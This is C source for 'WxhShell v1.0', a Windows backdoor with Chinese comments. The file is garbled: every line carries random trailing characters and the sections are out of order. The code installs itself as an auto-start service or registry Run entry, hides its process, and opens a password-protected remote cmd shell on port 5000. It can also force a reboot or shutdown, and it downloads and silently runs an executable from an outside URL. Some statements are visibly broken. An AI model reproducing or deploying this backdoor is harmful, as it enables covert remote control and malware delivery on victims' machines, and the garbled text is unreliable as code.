    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H c>yZ:c;  
    if(Boot(SHUTDOWN)) @|t]9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sUc[!S:/  
    else { R\7r!38  
    closesocket(wsh); V[*>}XQER  
    ExitThread(0); 9Xa.%vw>  
    } . 70=xH  
    break; '&,p>aM  
    } <a=OiY  
  // 获取shell wzxV)1jT  
  case 's': { ~XWBLU<  
    CmdShell(wsh); )SZ#%OE*  
    closesocket(wsh); J %A=  
    ExitThread(0); ]9w8[T:O  
    break; %{rb,6  
  } zGz}.-F  
  // 退出 5RWqHPw+  
  case 'x': { cH5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sm{0o$\Z  
    CloseIt(wsh); A_E2v{*n  
    break; FCwE/ 2,  
    } yevJA?C4 v  
  // 离开 3J 5,V  
  case 'q': { S},Cz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hG#2}K_  
    closesocket(wsh); &{<hY|%  
    WSACleanup(); W*_c*  
    exit(1); <N~9=g3  
    break; j[\:#/J  
        } Dbi ^%  
  } 7R79[:uwJ  
  } B?^~1Ua9Zv  
J;wBS w%1  
  // 提示信息 Q=DMfJ"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l"`VvW[  
} rf@47H  
  } t&w.Wc X)  
m(9I+`  
  return; D{\o*\TN  
} |X XO0  
}xBO;  
// shell模块句柄 U" 3L  
int CmdShell(SOCKET sock) JtMl/h  
{ Hq<4G:#  
STARTUPINFO si; iQ2}*:Jc$  
ZeroMemory(&si,sizeof(si)); RkF^V(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $*N(feAs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a;IOL  
PROCESS_INFORMATION ProcessInfo; NV(jp'i~  
char cmdline[]="cmd"; t$t'{*t( T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ND.(N'/O  
  return 0; CFW Hih  
} W" vkmk  
>m!Z$m([J  
// 自身启动模式 0iR?r+|  
int StartFromService(void) 3[_WTwX0  
{ PbS1`8|4  
typedef struct *3={s"a.(  
{ v_U/0 0  
  DWORD ExitStatus; &XI9%h9|  
  DWORD PebBaseAddress; -^`s#0( y^  
  DWORD AffinityMask; _](y<O^9yO  
  DWORD BasePriority; b5]<!~Fv:`  
  ULONG UniqueProcessId; T;{}bc&I  
  ULONG InheritedFromUniqueProcessId; q&?hwX Z7  
}   PROCESS_BASIC_INFORMATION; b~* iL!<  
$`\qY ^.(  
PROCNTQSIP NtQueryInformationProcess; :a2[d1  
G~u$BV'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nr&|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; keD?#yY  
ju;OQC~[L]  
  HANDLE             hProcess; iumwhb  
  PROCESS_BASIC_INFORMATION pbi; |unvDXx-  
BKI-Dh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a[j]fv*6  
  if(NULL == hInst ) return 0; gn.)_  
9$9a BW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "x;FE<I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ' CJ_&HR  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GoX<d{  
<1lB[:@%U  
  if (!NtQueryInformationProcess) return 0; 37 ?X@@Z=  
>f^kp8`3{Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I H#CaD  
  if(!hProcess) return 0; *>[ q*SF  
Z<AZO ^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bYem0hzOe  
@C[p?ak  
  CloseHandle(hProcess); OKau3T]  
Y^d#8^cP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +.^pAz U}R  
if(hProcess==NULL) return 0; 4 )}>dxv  
l]t^MEoc8  
HMODULE hMod; l'2vo=IQ  
char procName[255]; FGc#_4SiL  
unsigned long cbNeeded; W;!V_-:  
iKaS7lWH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y,jpd#Y  
ir\)Hz2P  
  CloseHandle(hProcess); !U2<\!_  
/GJL&RMx  
if(strstr(procName,"services")) return 1; // 以服务启动 p(4B"[!S  
T.;U~<  
  return 0; // 注册表启动 ?kV_!2U)'K  
} Uh1UZ r  
';.y`{/  
// 主模块 }c= Y<Cdh  
int StartWxhshell(LPSTR lpCmdLine) \0;w7tdo  
{ vg X7B4  
  SOCKET wsl; z$g__q-  
BOOL val=TRUE; y!S:d  
  int port=0; = 4|"<8'  
  struct sockaddr_in door; !P=L0A`  
'ju_l)(R  
  if(wscfg.ws_autoins) Install(); 5oB#{h  
+5R8mbD!  
port=atoi(lpCmdLine); n) HV:8j~  
fh1-]$z`~  
if(port<=0) port=wscfg.ws_port; DW7Jk"\GH  
As^eL/m2L  
  WSADATA data; \YF;/KwX$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  9[YnY~z)  
h;#^?v!+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (+zU!9}I1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m`xYd  
  door.sin_family = AF_INET; "5N$u(: b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G'wW-|  
  door.sin_port = htons(port); AhjCRYk+  
g.8^ )u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  =mcQe^M  
closesocket(wsl); n >E1\($  
return 1; *N{k#d/  
} u!It' ;j  
{ Ngut  
  if(listen(wsl,2) == INVALID_SOCKET) { pxyFM@Z](  
closesocket(wsl); Ho&f[T(  
return 1; S @!z'$&  
} "_BWUY  
  Wxhshell(wsl); !VudZ]Sg  
  WSACleanup(); Aq'~'hS`1  
kxAT  
return 0; U =g&c `  
0d~?|Nv -  
} D6yE/QeK4  
:y{@=E=XSC  
// 以NT服务方式启动 ] ONmWo77o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HuSE6an  
{ ao (Lv+  
DWORD   status = 0; N0K <zxR  
  DWORD   specificError = 0xfffffff; -Fop<q\b  
4/S3hH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7g oRj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u-.nR}DM_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ].QzOV'  
  serviceStatus.dwWin32ExitCode     = 0; `!ja0Sq]U  
  serviceStatus.dwServiceSpecificExitCode = 0; y<v-,b*  
  serviceStatus.dwCheckPoint       = 0; fp3`O9+em  
  serviceStatus.dwWaitHint       = 0; JV !F<  
EQHCw<e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G-vkkNj%e  
  if (hServiceStatusHandle==0) return; +^rt48${ y  
(Nf!E[ }Z  
status = GetLastError(); wYv++< z  
  if (status!=NO_ERROR) r=RiuxxTq  
{ (v}l#M7w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R"F:(  
    serviceStatus.dwCheckPoint       = 0; i{HzY[  
    serviceStatus.dwWaitHint       = 0; *J4 \KU  
    serviceStatus.dwWin32ExitCode     = status; Z{F^qwne  
    serviceStatus.dwServiceSpecificExitCode = specificError; +j8-l-o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :F"NF  
    return; 3|URlz  
  } @lh]? |*[  
Y31e1   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >oAXS\Ts  
  serviceStatus.dwCheckPoint       = 0; Q+U" %   
  serviceStatus.dwWaitHint       = 0; SU~ljAF4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '8@4FXK  
} ^O"o-3dte  
ej(< Le\  
// 处理NT服务事件,比如:启动、停止 LzEH&y_O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) THCvcU?X  
{ W E /1h  
switch(fdwControl) 1wggYX  
{ uCWBM  
case SERVICE_CONTROL_STOP: cj#.Oaeq*  
  serviceStatus.dwWin32ExitCode = 0; w,!N{hv(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _.W;hf`  
  serviceStatus.dwCheckPoint   = 0; h}oV)z6  
  serviceStatus.dwWaitHint     = 0; 7$"5qJ{s  
  { [ zCKJR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A- #c1KU!  
  } ^'b\OUty-  
  return; g- INhzMu  
case SERVICE_CONTROL_PAUSE: 7Mh!@Rd_V  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]0}NF  
  break; |B\76Nk  
case SERVICE_CONTROL_CONTINUE: {q);1Nnf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X#MC|Fzy@  
  break; uxW<Eh4H*  
case SERVICE_CONTROL_INTERROGATE: )@ .0ai  
  break; OeQ~g-n  
}; j#H&~f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S09Xe_q  
} ]4 \6_J&  
%w3tzE1Hq  
// 标准应用程序主函数 7U&<{U<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) E@Yq2FBpnn  
{ ZYTBc#f  
7;sF0oB5e  
// 获取操作系统版本 ^|cax| >  
OsIsNt=GetOsVer(); EM'#'fBZ>Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;T>.  
`2G%&R,k"D  
  // 从命令行安装 kNrd=s,-]D  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z,, qmwd  
u6*0% Km  
  // 下载执行文件 ~(.&nysZ-  
if(wscfg.ws_downexe) { "3Ckc"G@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R\u5!M$::  
  WinExec(wscfg.ws_filenam,SW_HIDE); Dv=pX.Z+  
} XpT~]q}  
_=I&zUF  
if(!OsIsNt) { ]L\]Ll;  
// 如果时win9x,隐藏进程并且设置为注册表启动 [ofZ1hB4  
HideProc(); bW^{I,b<F  
StartWxhshell(lpCmdLine); X;dUlSi  
} <$ ` ^  
else ;x u&%n[6@  
  if(StartFromService()) Uee$5a>(  
  // 以服务方式启动 _xo;[rEw8  
  StartServiceCtrlDispatcher(DispatchTable); p,mKgL63  
else L5]uT`Twa  
  // 普通方式启动 qI2&a$Zb$  
  StartWxhshell(lpCmdLine); WG5)-;>q|  
.DhB4v&  
return 0; 6eK7Jv\K  
} m P./e8  
m*>gG{3;  
}FkF1?C  
:-T[)Q+-3  
=========================================== +,4u1`c|$  
^ `[T0X  
42PA?^xPw  
Ot~buf'|  
%?O$xQ.<  
{jEEAH)  
" &f/"ir[8i  
U1=\ `)u;  
#include <stdio.h> G,@ Jo[e  
#include <string.h> lnrs4s Km  
#include <windows.h> }Y3*X: i7  
#include <winsock2.h> (U|WP%IM'  
#include <winsvc.h> p3cb_  
#include <urlmon.h> %$+bO/f  
m]ALW0  
#pragma comment (lib, "Ws2_32.lib") mFuHZ)iQG  
#pragma comment (lib, "urlmon.lib") w+{ o^ O  
-^$IjK-N  
#define MAX_USER   100 // 最大客户端连接数 FN D+Ok&  
#define BUF_SOCK   200 // sock buffer slG%o5|m  
#define KEY_BUFF   255 // 输入 buffer XWUi_{zn  
<e$%m(]  
#define REBOOT     0   // 重启 ce1U}">11  
#define SHUTDOWN   1   // 关机 :eR\0cn  
.2*h!d)E  
#define DEF_PORT   5000 // 监听端口 /wJocx]vQ  
+-MieiKv  
#define REG_LEN     16   // 注册表键长度 VJ-To}  
#define SVC_LEN     80   // NT服务名长度 d'e\tO  
v2f|%i;tq  
// 从dll定义API -y8> c0u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7m;<b$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z_nY>_L83*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); md /NMC \  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YZ/2 :[b  
.;%`I  
// wxhshell配置信息 }ykc AK3U  
struct WSCFG { Y?JB%%WWI  
  int ws_port;         // 监听端口 94u~:'t>V  
  char ws_passstr[REG_LEN]; // 口令 xnC5WF7  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'OsRQ)E  
  char ws_regname[REG_LEN]; // 注册表键名 '2ACZcjDSv  
  char ws_svcname[REG_LEN]; // 服务名 18ON`j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _*u$U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $NwPGy?%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z v:o$2Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )W!\D/C+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y6gaoj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z /f0 .RJ  
L [X "N  
}; kC/An@J^#  
RtF!(gd  
// default Wxhshell configuration {6HgKI  
struct WSCFG wscfg={DEF_PORT, Fz@U\\94z  
    "xuhuanlingzhe", )S|&3\  
    1, #++D|oE  
    "Wxhshell", \qB.>f"%p|  
    "Wxhshell", z KNac[:  
            "WxhShell Service", He}"e&K  
    "Wrsky Windows CmdShell Service", h%Uq  
    "Please Input Your Password: ", (T =u_oe  
  1, MQl GEJ  
  "http://www.wrsky.com/wxhshell.exe", >xIb|Yp)&  
  "Wxhshell.exe" *:Y9&s^6j  
    }; 256V xn  
QTjnXg?Ri  
// 消息定义模块 U ]O>DM^'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rh6 e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X6n8Bi9Ik  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G-Zn-I  
char *msg_ws_ext="\n\rExit."; TZa LB}4  
char *msg_ws_end="\n\rQuit."; t7,**$ST  
char *msg_ws_boot="\n\rReboot..."; !s[ gv1  
char *msg_ws_poff="\n\rShutdown..."; 8,]wOxwqi  
char *msg_ws_down="\n\rSave to "; FOS*X  
/7K7o8g  
char *msg_ws_err="\n\rErr!"; *xDV8iu_  
char *msg_ws_ok="\n\rOK!"; E^x/v_,$w!  
e}2[g  
char ExeFile[MAX_PATH]; 8D`TN8[W  
int nUser = 0; LN=#&7=$c  
HANDLE handles[MAX_USER]; a!;CY1>  
int OsIsNt; ez[$;>  
mN'sJ1L-  
SERVICE_STATUS       serviceStatus; 8j8~?=$a6Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Kj#h9e  
<|VV8r93  
// 函数声明 M#xol/)h  
int Install(void); UW-`k1  
int Uninstall(void); ^'4I%L"  
int DownloadFile(char *sURL, SOCKET wsh); d@{#F"o  
int Boot(int flag); ]NY^0SqM  
void HideProc(void); ~?KbpB|  
int GetOsVer(void); Lcf]  
int Wxhshell(SOCKET wsl); 3SI%>CO}  
void TalkWithClient(void *cs); A}sdi4[`  
int CmdShell(SOCKET sock); lk4$c1ao2@  
int StartFromService(void); VaTA|=[;  
int StartWxhshell(LPSTR lpCmdLine); A2I\T, Z  
+jj] tJ$[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `6{4?v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OQ4rJ#b  
J|e3 UikA  
// 数据结构和表定义 2\G[U#~bi  
SERVICE_TABLE_ENTRY DispatchTable[] = L}>ts(!q&  
{ 5[H1nC @C  
{wscfg.ws_svcname, NTServiceMain}, 3IQ-2 X--  
{NULL, NULL} 9oVprd >%@  
}; pB,l t6  
+(oExp(!  
// 自我安装 &}VVr  
int Install(void) ,/UuXX  
{ ab*O7v  
  char svExeFile[MAX_PATH]; W(PNw2  
  HKEY key; .wkW<F7  
  strcpy(svExeFile,ExeFile); p}q]GJ  
vJuL+'[i  
// 如果是win9x系统,修改注册表设为自启动  T_<:  
if(!OsIsNt) { p?x]|`M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %6TS_IpJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hu:x,;`9H  
  RegCloseKey(key); FUZ`ST+OL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aY\(R02B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ] {=qdgJ  
  RegCloseKey(key); kS)|oU K  
  return 0; rnXoA, c/  
    } -nnAe F  
  } g>_d,#F  
} x24&mWgU  
else { H@`lM~T[  
ePTN^#|W  
// 如果是NT以上系统,安装为系统服务 ]u"x=S93  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *m`F-J6U  
if (schSCManager!=0) g3\1 3<  
{ @0iXqM#jH  
  SC_HANDLE schService = CreateService u(4o#m  
  ( V#V<Kz  
  schSCManager, c~ Q 5A  
  wscfg.ws_svcname, I3dUI~}u  
  wscfg.ws_svcdisp, ='fN xabB  
  SERVICE_ALL_ACCESS, 1|5TuljTd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N0UZ%,h\  
  SERVICE_AUTO_START, IUQYoKz4}A  
  SERVICE_ERROR_NORMAL, zO3}c3D~q  
  svExeFile, "Fqrk>Q~  
  NULL, G_ 6!w//  
  NULL, #=I5_u  
  NULL, I =nvL  
  NULL, QE`u~  
  NULL > @q4Uez  
  ); |JTDwmR  
  if (schService!=0) t flUy\H>  
  { 4_o+gG%HaM  
  CloseServiceHandle(schService); 49dN~k=  
  CloseServiceHandle(schSCManager); It5n;,n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zc!q a"4yM  
  strcat(svExeFile,wscfg.ws_svcname); yz_xWx#9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^c:I]_Ww  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;ZR^9%+y9  
  RegCloseKey(key); |}<!O@<|  
  return 0; .< -~k@ P  
    } x$6FvgP(  
  } cDh\$7'b  
  CloseServiceHandle(schSCManager); J24H}^~na  
} wyv%c/WlS  
} ]}nX$xy  
opqf)C  
return 1; r+}<]?aT>-  
} da5fKK/s  
fx/If  
// 自我卸载 ^Rmrre`uU  
int Uninstall(void) N1X;&qZDd  
{ z2OXCZ*/  
  HKEY key; 2 m2$jp0  
nLBi} T  
if(!OsIsNt) { !9EbG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PpR eqmo  
  RegDeleteValue(key,wscfg.ws_regname); );fPir?+  
  RegCloseKey(key); Hu$JCB-%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5z"[{ #/  
  RegDeleteValue(key,wscfg.ws_regname); Ms=11C  
  RegCloseKey(key); -A1:S'aN-  
  return 0; o.>Yj)U  
  } =<z~OE'lV  
} BHZSc(-o  
} I7jIA>ZZi  
else { 'jBtBFzP-  
Sigu p#.p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .jRv8x b  
if (schSCManager!=0) *+<H4.W H  
{ txy'7t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jN2Xoh9  
  if (schService!=0) T$s)aM  
  { eEg> EI_U  
  if(DeleteService(schService)!=0) { /5C>7BC  
  CloseServiceHandle(schService); P !~B07y  
  CloseServiceHandle(schSCManager); jQ5FvuNOy  
  return 0; M,bcTa8  
  } 8Tm/gzx  
  CloseServiceHandle(schService); mcSZ1d~,(  
  } kud2O>>  
  CloseServiceHandle(schSCManager); &A~(9IV  
} -(|}:J  
} t 2&}  
+ )*aS+  
return 1; hV"2L4/E  
} X*rB`M7,  
dsA::jR0P6  
// 从指定url下载文件 1xMD )V:  
int DownloadFile(char *sURL, SOCKET wsh) LQ4F/[1}  
{ rOXh?r  
  HRESULT hr; $ 7uxReFZR  
char seps[]= "/"; S-G#+ Ue2  
char *token; Z n]e2  
char *file; szD BfGd%j  
char myURL[MAX_PATH]; -.hH,zm  
char myFILE[MAX_PATH]; j% E9@#  
(r$QQO) /  
strcpy(myURL,sURL); W[.UM  
  token=strtok(myURL,seps); ?XO}6q<tM  
  while(token!=NULL) 7' TXR[   
  { g<N3 L [  
    file=token; &}vc^io  
  token=strtok(NULL,seps); B~/ejC!  
  } &3'zG)  
?1lx8+  
GetCurrentDirectory(MAX_PATH,myFILE); N;XJMk_ H  
strcat(myFILE, "\\"); |NaEXzo|qY  
strcat(myFILE, file); +/2:  
  send(wsh,myFILE,strlen(myFILE),0); &6@e9ff0  
send(wsh,"...",3,0); Gm'Ch}E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9Q*zf@w  
  if(hr==S_OK) \}NZ] l  
return 0; R,[+9U|4V  
else >)S'`e4Gu  
return 1; wfc+E9E  
ru1FJ{n  
} RaY=~g  
s h^&3}  
// 系统电源模块 5 }F6s  
int Boot(int flag) >`+-Yi$(\  
{ 407;M%?'A  
  HANDLE hToken; T|lyjX$Q]9  
  TOKEN_PRIVILEGES tkp; zd#/zUPI  
h OF>Dj  
  if(OsIsNt) { Y%]&h#F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Cr%6c3aQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Nyo,6 AA  
    tkp.PrivilegeCount = 1; ;gv9J [R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t&Z:G<;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qf6}\0   
if(flag==REBOOT) { SZ"^>}zl=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q5qQ%cu  
  return 0; Y([vma>U]  
} sBD\;\I  
else { z3p #`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ' 8bT9  
  return 0; B=J/HiwV)  
} D1<$]r,  
  } t"Djh^=y  
  else { j 1#T]CDs  
if(flag==REBOOT) { ?$FvE4!n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B|n<{g[-cM  
  return 0; /-jk_8@a  
} @^93q  
else { @Xe[5T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R^F\2yth-  
  return 0; W L5!H.q  
} D^W?~7e ^r  
} I@9k+JB   
OM 5h>\9  
return 1; haMt2S2_B:  
} za@`,Yq  
YKs^aQm#  
// win9x进程隐藏模块 :ift{XR'  
void HideProc(void) gAgP("  
{ Gr?[s'Ze  
(~FLG I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f; 1C)  
  if ( hKernel != NULL ) $I-i=:}g  
  { d>qxaX;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NP*M#3$[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); y*5bF 0  
    FreeLibrary(hKernel); B?tO&$s  
  } Z*(lg$A9 M  
tkGJ!aUt  
return; >O&:[CgEF  
} y}bE'Od  
*T'>-nm]  
// 获取操作系统版本 s8<)lO<SV.  
int GetOsVer(void) x=(cQmQ  
{ .\> I-  
  OSVERSIONINFO winfo; e.IKmH]z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =K2mR}n\;  
  GetVersionEx(&winfo); D*R49hja{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tgbr/eCoU  
  return 1; "*E%?MG  
  else  Gp/yr  
  return 0; q={\|j$X  
} ]}&f<X  
*0`oFTJ  
// 客户端句柄模块 ~y(- j[  
int Wxhshell(SOCKET wsl) z2QZ;ZjvRS  
{ )} H46  
  SOCKET wsh; yS[Z%]bvU  
  struct sockaddr_in client; 2nRL;[L*.  
  DWORD myID; E5<}7Pt  
VfiMR%i}  
  while(nUser<MAX_USER) IJA WG  
{ e/;chMCq  
  int nSize=sizeof(client); ^3L6mOoA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^^I3%6UY  
  if(wsh==INVALID_SOCKET) return 1; /8SQmh$+e  
6*<=(SQI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i>C:C>~  
if(handles[nUser]==0) ;ip"V 0`  
  closesocket(wsh); a!>yX ex  
else I!ykm\<  
  nUser++; bVc;XZwI  
  } *SX'Or,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kMHupROj  
^c{,QS{  
  return 0; '}{J;moB  
} N'nqVYTU  
,/;mK_6  
// 关闭 socket U8z$=W o  
void CloseIt(SOCKET wsh) I%NPc4p  
{ |6pNe T[  
closesocket(wsh); -m:i~^ u  
nUser--; d4#Q<!r  
ExitThread(0); I9`R L Sn  
} Oop;Y^gG}  
<<da TQV  
// 客户端请求句柄 H3"[zg9L:a  
void TalkWithClient(void *cs) n#G I& U  
{ o[bG(qHZ  
Xh/i5}5 t  
  SOCKET wsh=(SOCKET)cs; ,f4mFL0~N  
  char pwd[SVC_LEN]; b g'B^E3  
  char cmd[KEY_BUFF]; Fs_umy#  
char chr[1]; wR?M2*ri  
int i,j; o Ohm`7iy  
e4V4%Qw  
  while (nUser < MAX_USER) { AT:T%a:G?  
>69+e+|I  
if(wscfg.ws_passstr) { $Wy7z^ t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); an 3"y6.8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @83h/Wcxd  
  //ZeroMemory(pwd,KEY_BUFF); xP.B,1\X  
      i=0; ,x?H]a)  
  while(i<SVC_LEN) { {g2cm'hD  
IPU'M*|Q  
  // 设置超时 _,i]ra{%  
  fd_set FdRead; oVsj Q  
  struct timeval TimeOut; FKd5]am  
  FD_ZERO(&FdRead); L)'JkX J  
  FD_SET(wsh,&FdRead); @xJ qG"  
  TimeOut.tv_sec=8; 9lA@ K[  
  TimeOut.tv_usec=0; PnsQ[}.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oQC*d}_E}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8=!M0i  
?=]`X=g 6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k[l+~5ix  
  pwd=chr[0]; h94SLj]  
  if(chr[0]==0xd || chr[0]==0xa) { I72UkmK`  
  pwd=0; /LM*nN$%  
  break; AF1";duA  
  } 6u3DxFiTm  
  i++; xa`&/W>  
    } ]],6Fi+  
@.gT&Hq  
  // 如果是非法用户,关闭 socket _F^k>Lq&d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n*^g^gp  
} C|Bk'<MI  
zYdSg<[^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~F*pV*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sB_o HUMH6  
!ZbNW4rIP  
while(1) { n37C"qJ/i  
]<q{0.  
  ZeroMemory(cmd,KEY_BUFF); $V~r*#$.  
GA{>=Q _~  
      // 自动支持客户端 telnet标准   $EbxV"b+  
  j=0; 2#LcL  
  while(j<KEY_BUFF) { +vkqig  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5n r}5bum  
  cmd[j]=chr[0]; lnW/T--  
  if(chr[0]==0xa || chr[0]==0xd) { h:(Jes2  
  cmd[j]=0; -gh',)R   
  break; l!\C"f1o,  
  } %*<k5#Yq  
  j++; |H5){2V>K  
    } rd\mFz-SB  
cD8.rRyD  
  // 下载文件 StWDNAf)  
  if(strstr(cmd,"http://")) { %4cUa| =?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )$yqJ6y5  
  if(DownloadFile(cmd,wsh)) .9> e r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); YL&$cT]1  
  else it\{#rb=4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AqvRzi(Y  
  } e%N\Pshgv  
  else { JiP]F J;  
&6,GX7]Fo  
